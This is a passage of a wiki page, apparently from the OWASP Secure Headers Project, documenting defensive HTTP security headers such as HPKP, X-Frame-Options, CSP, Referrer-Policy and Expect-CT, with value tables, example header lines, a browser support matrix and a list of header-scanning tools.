* https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&lt;br /&gt;
* https://www.chromium.org/hsts&lt;br /&gt;
* https://developer.mozilla.org/en-US/docs/Web/Security/HTTP_strict_transport_security&lt;br /&gt;
* https://raymii.org/s/tutorials/HTTP_Strict_Transport_Security_for_Apache_NGINX_and_Lighttpd.html&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;hpkp&amp;quot;&amp;gt;Public Key Pinning Extension for HTTP (HPKP)&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
HTTP Public Key Pinning (HPKP) is a security mechanism which allows HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent certificates. (For example, sometimes attackers can compromise certificate authorities, and then can mis-issue certificates for a web origin.).&lt;br /&gt;
&lt;br /&gt;
The HTTPS web server serves a list of public key hashes, and on subsequent connections clients expect that server to use one or more of those public keys in its certificate chain. Deploying HPKP safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of public key hashes that becomes invalid.  With care, host operators can greatly reduce the risk of [https://www.owasp.org/index.php/Man-in-the-middle_attack man-in-the-middle (MITM) attacks] and other false authentication problems for their users without incurring undue risk.&lt;br /&gt;
&lt;br /&gt;
Before implement HPKP please read this https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| pin-sha256=&amp;quot;&amp;lt;sha256&amp;gt;&amp;quot;&lt;br /&gt;
| The quoted string is the Base64 encoded Subject Public Key Information (SPKI) fingerprint. It is possible to specify multiple pins for different public keys. Some browsers might allow other hashing algorithms than SHA-256 in the future.&lt;br /&gt;
|- &lt;br /&gt;
| max-age=SECONDS&lt;br /&gt;
| The time, in seconds, that the browser should remember that this site is only to be accessed using one of the pinned keys.&lt;br /&gt;
|- &lt;br /&gt;
| includeSubDomains&lt;br /&gt;
| If this optional parameter is specified, this rule applies to all of the site's subdomains as well.&lt;br /&gt;
|- &lt;br /&gt;
| report-uri=&amp;quot;&amp;lt;URL&amp;gt;&amp;quot;&lt;br /&gt;
| If this optional parameter is specified, pin validation failures are reported to the given URL.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;Public-Key-Pins: pin-sha256=&amp;quot;d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM=&amp;quot;; pin-sha256=&amp;quot;E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g=&amp;quot;; report-uri=&amp;quot;&amp;lt;nowiki&amp;gt;http://example.com/pkp-report&amp;lt;/nowiki&amp;gt;&amp;quot;; max-age=10000; includeSubDomains&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://tools.ietf.org/html/rfc7469&lt;br /&gt;
* https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning#HTTP_pinning&lt;br /&gt;
* https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning&lt;br /&gt;
* https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning&lt;br /&gt;
* https://raymii.org/s/articles/HTTP_Public_Key_Pinning_Extension_HPKP.html&lt;br /&gt;
* https://labs.detectify.com/2016/07/05/what-hpkp-is-but-isnt/&lt;br /&gt;
* https://blog.qualys.com/ssllabs/2016/09/06/is-http-public-key-pinning-dead&lt;br /&gt;
* https://scotthelme.co.uk/im-giving-up-on-hpkp/&lt;br /&gt;
* https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xfo&amp;quot;&amp;gt;X-Frame-Options&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
X-Frame-Options response header improve the protection of web applications against [https://www.owasp.org/index.php/Clickjacking Clickjacking]. It declares a policy communicated from a host to the client browser on whether the browser must not display the transmitted content in frames of other web pages.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| deny&lt;br /&gt;
| No rendering within a frame.&lt;br /&gt;
|- &lt;br /&gt;
| sameorigin&lt;br /&gt;
| No rendering if origin mismatch.&lt;br /&gt;
|- &lt;br /&gt;
| allow-from: DOMAIN&lt;br /&gt;
| Allows rendering if framed by frame loaded from DOMAIN.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;X-Frame-Options: deny&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://tools.ietf.org/html/rfc7034&lt;br /&gt;
* https://tools.ietf.org/html/draft-ietf-websec-x-frame-options-01&lt;br /&gt;
* https://tools.ietf.org/html/draft-ietf-websec-frame-options-00&lt;br /&gt;
* https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options&lt;br /&gt;
* https://www.owasp.org/index.php/Clickjacking&lt;br /&gt;
* https://blogs.msdn.microsoft.com/ieinternals/2010/03/30/combating-clickjacking-with-x-frame-options/&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xxxsp&amp;quot;&amp;gt;X-XSS-Protection&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
This header enables the [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Cross-site scripting (XSS)] filter in your browser.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| 0&lt;br /&gt;
| Filter disabled.&lt;br /&gt;
|- &lt;br /&gt;
| 1&lt;br /&gt;
| Filter enabled. If a cross-site scripting attack is detected, in order to stop the attack, the browser will sanitize the page.&lt;br /&gt;
|- &lt;br /&gt;
| 1; mode=block&lt;br /&gt;
| Filter enabled. Rather than sanitize the page, when a XSS attack is detected, the browser will prevent rendering of the page.&lt;br /&gt;
|- &lt;br /&gt;
| 1; report=http://[YOURDOMAIN]/your_report_URI&lt;br /&gt;
| Filter enabled. The browser will sanitize the page and report the violation. This is a Chromium function utilizing CSP violation reports to send details to a URI of your choice.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;X-XSS-Protection: 1; mode=block&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&lt;br /&gt;
* https://www.virtuesecurity.com/blog/understanding-xss-auditor/&lt;br /&gt;
* https://www.veracode.com/blog/2014/03/guidelines-for-setting-security-headers&lt;br /&gt;
* http://zinoui.com/blog/security-http-headers#x-xss-protection&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xcto&amp;quot;&amp;gt;X-Content-Type-Options&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
Setting this header will prevent the browser from [https://en.wikipedia.org/wiki/Content_sniffing interpreting files as something else than declared by the content type] in the HTTP headers.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| nosniff&lt;br /&gt;
| Will prevent the browser from MIME-sniffing a response away from the declared content-type.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;X-Content-Type-Options: nosniff&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://msdn.microsoft.com/en-us/library/gg622941%28v=vs.85%29.aspx&lt;br /&gt;
* https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;csp&amp;quot;&amp;gt;Content-Security-Policy&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
A Content Security Policy (CSP) requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browsers render pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Cross-site scripting] and other cross-site injections.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Directive&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| base-uri&lt;br /&gt;
| Define the base uri for relative uri.&lt;br /&gt;
|- &lt;br /&gt;
| default-src&lt;br /&gt;
| Define loading policy for all resources type in case of a resource type dedicated directive is not defined (fallback).&lt;br /&gt;
|-&lt;br /&gt;
| script-src&lt;br /&gt;
| Define which scripts the protected resource can execute.&lt;br /&gt;
|-&lt;br /&gt;
| object-src&lt;br /&gt;
| Define from where the protected resource can load plugins.&lt;br /&gt;
|-&lt;br /&gt;
| style-src&lt;br /&gt;
| Define which styles (CSS) the user applies to the protected resource.&lt;br /&gt;
|-&lt;br /&gt;
| img-src&lt;br /&gt;
| Define from where the protected resource can load images.&lt;br /&gt;
|-&lt;br /&gt;
| media-src&lt;br /&gt;
| Define from where the protected resource can load video and audio.&lt;br /&gt;
|-&lt;br /&gt;
| frame-src&lt;br /&gt;
| Deprecated and replaced by child-src. Define from where the protected resource can embed frames.&lt;br /&gt;
|-&lt;br /&gt;
| child-src&lt;br /&gt;
| Define from where the protected resource can embed frames.&lt;br /&gt;
|-&lt;br /&gt;
| frame-ancestors&lt;br /&gt;
| Define from where the protected resource can be embedded in frames.&lt;br /&gt;
|-&lt;br /&gt;
| font-src&lt;br /&gt;
| Define from where the protected resource can load fonts.&lt;br /&gt;
|-&lt;br /&gt;
| connect-src&lt;br /&gt;
| Define which URIs the protected resource can load using script interfaces.&lt;br /&gt;
|-&lt;br /&gt;
| manifest-src&lt;br /&gt;
| Define from where the protected resource can load manifest.&lt;br /&gt;
|-&lt;br /&gt;
| form-action&lt;br /&gt;
| Define which URIs can be used as the action of HTML form elements.&lt;br /&gt;
|-&lt;br /&gt;
| sandbox&lt;br /&gt;
| Specifies an HTML sandbox policy that the user agent applies to the protected resource.&lt;br /&gt;
|-&lt;br /&gt;
| script-nonce&lt;br /&gt;
| Define script execution by requiring the presence of the specified nonce on script elements.&lt;br /&gt;
|-&lt;br /&gt;
| plugin-types&lt;br /&gt;
| Define the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded.&lt;br /&gt;
|-&lt;br /&gt;
| reflected-xss&lt;br /&gt;
| Instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection header.&lt;br /&gt;
|- &lt;br /&gt;
| block-all-mixed-content&lt;br /&gt;
| Prevent user agent from loading mixed content.&lt;br /&gt;
|- &lt;br /&gt;
| upgrade-insecure-requests&lt;br /&gt;
| Instructs user agent to download insecure resources using HTTPS.&lt;br /&gt;
|- &lt;br /&gt;
| referrer&lt;br /&gt;
| Define information user agent must send in Referer header.&lt;br /&gt;
|-&lt;br /&gt;
| report-uri&lt;br /&gt;
| Specifies a URI to which the user agent sends reports about policy violation.&lt;br /&gt;
|-&lt;br /&gt;
| report-to&lt;br /&gt;
| Specifies a group (defined in Report-To header) to which the user agent sends reports about policy violation.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;Content-Security-Policy: script-src 'self'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://www.w3.org/TR/CSP/&lt;br /&gt;
* https://developer.mozilla.org/en-US/docs/Web/Security/CSP&lt;br /&gt;
* https://www.owasp.org/index.php/Content_Security_Policy&lt;br /&gt;
* https://scotthelme.co.uk/content-security-policy-an-introduction/&lt;br /&gt;
* https://report-uri.io&lt;br /&gt;
* http://www.cspplayground.com/home&lt;br /&gt;
* http://content-security-policy.com&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;xpcdp&amp;quot;&amp;gt;X-Permitted-Cross-Domain-Policies&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
A cross-domain policy file is an XML document that grants a web client, such as Adobe Flash Player or Adobe Acrobat (though not necessarily limited to these), permission to handle data across domains. When clients request content hosted on a particular source domain and that content make requests directed towards a domain other than its own, the remote domain needs to host a cross-domain policy file that grants access to the source domain, allowing the client to continue the transaction.&lt;br /&gt;
Normally a meta-policy is declared in the master policy file, but for those who can’t write to the root directory, they can also declare a meta-policy using the X-Permitted-Cross-Domain-Policies HTTP response header.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| none&lt;br /&gt;
| No policy files are allowed anywhere on the target server, including this master policy file.&lt;br /&gt;
|- &lt;br /&gt;
| master-only&lt;br /&gt;
| Only this master policy file is allowed.&lt;br /&gt;
|- &lt;br /&gt;
| by-content-type&lt;br /&gt;
| [HTTP/HTTPS only] Only policy files served with Content-Type: text/x-cross-domain-policy are allowed.&lt;br /&gt;
|- &lt;br /&gt;
| by-ftp-filename&lt;br /&gt;
| [FTP only] Only policy files whose file names are crossdomain.xml (i.e. URLs ending in /crossdomain.xml) are allowed.&lt;br /&gt;
|- &lt;br /&gt;
| all&lt;br /&gt;
| All policy files on this target domain are allowed.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;X-Permitted-Cross-Domain-Policies: none&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/xdomain.html&lt;br /&gt;
* https://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html&lt;br /&gt;
* https://www.perpetual-beta.org/weblog/security-headers.html#rule-8470-2-establish-a-cross-domain-meta-policy&lt;br /&gt;
* https://danielnixon.org/http-security-headers/&lt;br /&gt;
* https://rorsecurity.info/portfolio/new-http-headers-for-more-security&lt;br /&gt;
* https://github.com/twitter/secureheaders/issues/88&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;rp&amp;quot;&amp;gt;Referrer-Policy&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
The Referrer-Policy HTTP header governs which referrer information, sent in the Referer header, should be included with requests made.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| no-referrer&lt;br /&gt;
| The Referer header will be omitted entirely. No referrer information is sent along with requests.&lt;br /&gt;
|- &lt;br /&gt;
| no-referrer-when-downgrade&lt;br /&gt;
| This is the user agent's default behavior if no policy is specified. The origin is sent as referrer to a-priori as-much-secure destination (HTTPS-&amp;gt;HTTPS), but isn't sent to a less secure destination (HTTPS-&amp;gt;HTTP).&lt;br /&gt;
|- &lt;br /&gt;
| origin&lt;br /&gt;
| Only send the origin of the document as the referrer in all cases. The document &amp;lt;nowiki&amp;gt;https://example.com/page.html&amp;lt;/nowiki&amp;gt; will send the referrer &amp;lt;nowiki&amp;gt;https://example.com/&amp;lt;/nowiki&amp;gt;.&lt;br /&gt;
|- &lt;br /&gt;
| origin-when-cross-origin&lt;br /&gt;
| Send a full URL when performing a same-origin request, but only send the origin of the document for other cases.&lt;br /&gt;
|- &lt;br /&gt;
| same-origin&lt;br /&gt;
| A referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information.&lt;br /&gt;
|- &lt;br /&gt;
| strict-origin&lt;br /&gt;
| Only send the origin of the document as the referrer to a-priori as-much-secure destination (HTTPS-&amp;gt;HTTPS), but don't send it to a less secure destination (HTTPS-&amp;gt;HTTP).&lt;br /&gt;
|- &lt;br /&gt;
| strict-origin-when-cross-origin&lt;br /&gt;
| Send a full URL when performing a same-origin request, only send the origin of the document to a-priori as-much-secure destination (HTTPS-&amp;gt;HTTPS), and send no header to a less secure destination (HTTPS-&amp;gt;HTTP).&lt;br /&gt;
|- &lt;br /&gt;
| unsafe-url&lt;br /&gt;
| Send a full URL (stripped from parameters) when performing a a same-origin or cross-origin request.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;Referrer-Policy: no-referrer&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://www.w3.org/TR/referrer-policy/&lt;br /&gt;
* https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy&lt;br /&gt;
&lt;br /&gt;
==&amp;lt;div id=&amp;quot;ect&amp;quot;&amp;gt;Expect-CT&amp;lt;/div&amp;gt;==&lt;br /&gt;
&lt;br /&gt;
The Expect-CT header is used by a server to indicate that browsers should evaluate connections to the host emitting the header for [https://www.certificate-transparency.org Certificate Transparency] compliance.&lt;br /&gt;
&lt;br /&gt;
===Values===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Value&lt;br /&gt;
! Description&lt;br /&gt;
|- &lt;br /&gt;
| report-uri&lt;br /&gt;
| The optional report-uri directive indicates the URL to which the browser should report Expect-CT failures.&lt;br /&gt;
|- &lt;br /&gt;
| enforce&lt;br /&gt;
| The optional enforce directive is a valueless directive that, if present, signals to the browser that compliance to the CT Policy should be enforced (rather than report-only) and that the browser should refuse future connections that violate its CT Policy. When both the enforce directive and report-uri directive are present, the configuration is referred to as an &amp;quot;enforce-and-report&amp;quot; configuration, signalling to the browser both that compliance to the CT Policy should be enforced and that violations should be reported.&lt;br /&gt;
|- &lt;br /&gt;
| max-age&lt;br /&gt;
| The max-age directive specifies the number of seconds after the reception of the Expect-CT header field during which the browser should regard the host from whom the message was received as a Known Expect-CT Host.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Example===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;Expect-CT: max-age=86400, enforce, report-uri=&amp;quot;https://foo.example/report&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===References===&lt;br /&gt;
&lt;br /&gt;
* https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-02&lt;br /&gt;
* http://httpwg.org/http-extensions/expect-ct.html&lt;br /&gt;
* https://scotthelme.co.uk/a-new-security-header-expect-ct/&lt;br /&gt;
&lt;br /&gt;
=Compatibility Matrix=&lt;br /&gt;
&lt;br /&gt;
==Browser Support==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;&amp;quot;&lt;br /&gt;
!  !! Internet Explorer !! Edge !! Firefox !! Chrome !! Safari !! Opera !! Android&lt;br /&gt;
|-&lt;br /&gt;
! HTTP Strict Transport Security (HSTS)&lt;br /&gt;
| 11 || 13 || 47 || 49 || 9.1 || 39 || 4.4&lt;br /&gt;
|-&lt;br /&gt;
! Public Key Pinning Extension for HTTP (HPKP)&lt;br /&gt;
| NS || NS || 47 || 49 || NS || 39 || 51&lt;br /&gt;
|-&lt;br /&gt;
! X-Frame-Options&lt;br /&gt;
| 8 || 13 || 47 || 49 || 9.1 || 39 || 4.4&lt;br /&gt;
|-&lt;br /&gt;
! X-XSS-Protection&lt;br /&gt;
| 8 ||  || NS || 4+ ||  ||  || &lt;br /&gt;
|-&lt;br /&gt;
! X-Content-Type-Options&lt;br /&gt;
| 8 ||  || 51 || 1.0 || NS || 13 || &lt;br /&gt;
|-&lt;br /&gt;
! Content-Security-Policy&lt;br /&gt;
| 11 || 13 || 47 || 49 || 9.1 || 39 || 4.4&lt;br /&gt;
|-&lt;br /&gt;
! X-Permitted-Cross-Domain-Policies&lt;br /&gt;
|  ||  ||  ||  ||  ||  || &lt;br /&gt;
|-&lt;br /&gt;
! Referrer-Policy&lt;br /&gt;
|NS||NS||50||56||NS||43|| &lt;br /&gt;
|-&lt;br /&gt;
! Expect-CT&lt;br /&gt;
| || || || 61 || || 48 || &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
NS = Not Supported&lt;br /&gt;
&lt;br /&gt;
+ = Specified version and above&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* HTTP Strict Transport Security (HSTS)&lt;br /&gt;
** https://blogs.windows.com/msedgedev/2015/06/09/http-strict-transport-security-comes-to-internet-explorer-11-on-windows-8-1-and-windows-7/&lt;br /&gt;
** https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&lt;br /&gt;
** https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet&lt;br /&gt;
** http://caniuse.com/#search=HSTS&lt;br /&gt;
* Public Key Pinning Extension for HTTP (HPKP)&lt;br /&gt;
** http://caniuse.com/#search=Public%20Key%20Pinning&lt;br /&gt;
** https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ&lt;br /&gt;
* X-Frame-Options&lt;br /&gt;
** http://caniuse.com/#search=X-Frame-Options&lt;br /&gt;
* X-XSS-Protection&lt;br /&gt;
** https://wiki.mozilla.org/Security/Features/XSS_Filter&lt;br /&gt;
** https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/&lt;br /&gt;
* X-Content-Type-Options&lt;br /&gt;
** https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options&lt;br /&gt;
* Content-Security-Policy&lt;br /&gt;
** http://caniuse.com/#search=Content%20Security%20Policy&lt;br /&gt;
* X-Permitted-Cross-Domain-Policies&lt;br /&gt;
** https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/xdomain.html&lt;br /&gt;
* Referrer-Policy&lt;br /&gt;
** https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy&lt;br /&gt;
* Expect-CT&lt;br /&gt;
** https://www.chromestatus.com/feature/5677171733430272&lt;br /&gt;
&lt;br /&gt;
=Stats=&lt;br /&gt;
Coming soon... for now check [https://oshp.bsecteam.com this].&lt;br /&gt;
&lt;br /&gt;
=Technical Resources=&lt;br /&gt;
This section cover a list of tools to analyze, develop and administrate HTTP secure headers in order to help achieve more secure and trustworthy web systems.&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellpadding=&amp;quot;7&amp;quot; cellspacing=&amp;quot;0&amp;quot; &amp;lt;col width=&amp;quot;325&amp;quot;&amp;gt;&amp;lt;col width=&amp;quot;316&amp;quot;&amp;gt;&lt;br /&gt;
! ead | &lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;50%&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Analysis Tools'''&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Reference''' &lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''hsecscan'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
A security scanner for HTTP response headers.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Github: https://github.com/riramar/hsecscan&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''headers'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
Python script to get some response headers from Alexa top sites file and store in a MySQL database.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Github: https://github.com/oshp/headers/&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''securityheaders.io'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
There are services out there that will analyse the HTTP response headers of other sites but I also wanted to add a rating system to the results. The HTTP response headers that this site analyses provide huge levels of protection and it's important that sites deploy them. Hopefully, by providing an easy mechanism to assess them, and further information on how to deploy missing headers, we can drive up the usage of security based headers across the web.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://securityheaders.io/&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''Mozilla Observatory'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
A Mozilla project designed to help developers, system administrators, and security professionals configure their sites safely and securely.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://mozilla.github.io/http-observatory-website/&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''High-Tech Bridge Web Security Scanner'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
An online service that will retrieve and analyse headers syntax and proper configuration in a comprehensive way. It will be able for instance to highlight Public-Key-Pins that matches one certificate of the chain or if Content-Security-Policy contains values that could be unsafe or too permissive.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=&amp;quot;“50%”&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt”&amp;quot;&amp;gt;&lt;br /&gt;
* Site: https://www.htbridge.com/websec/&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
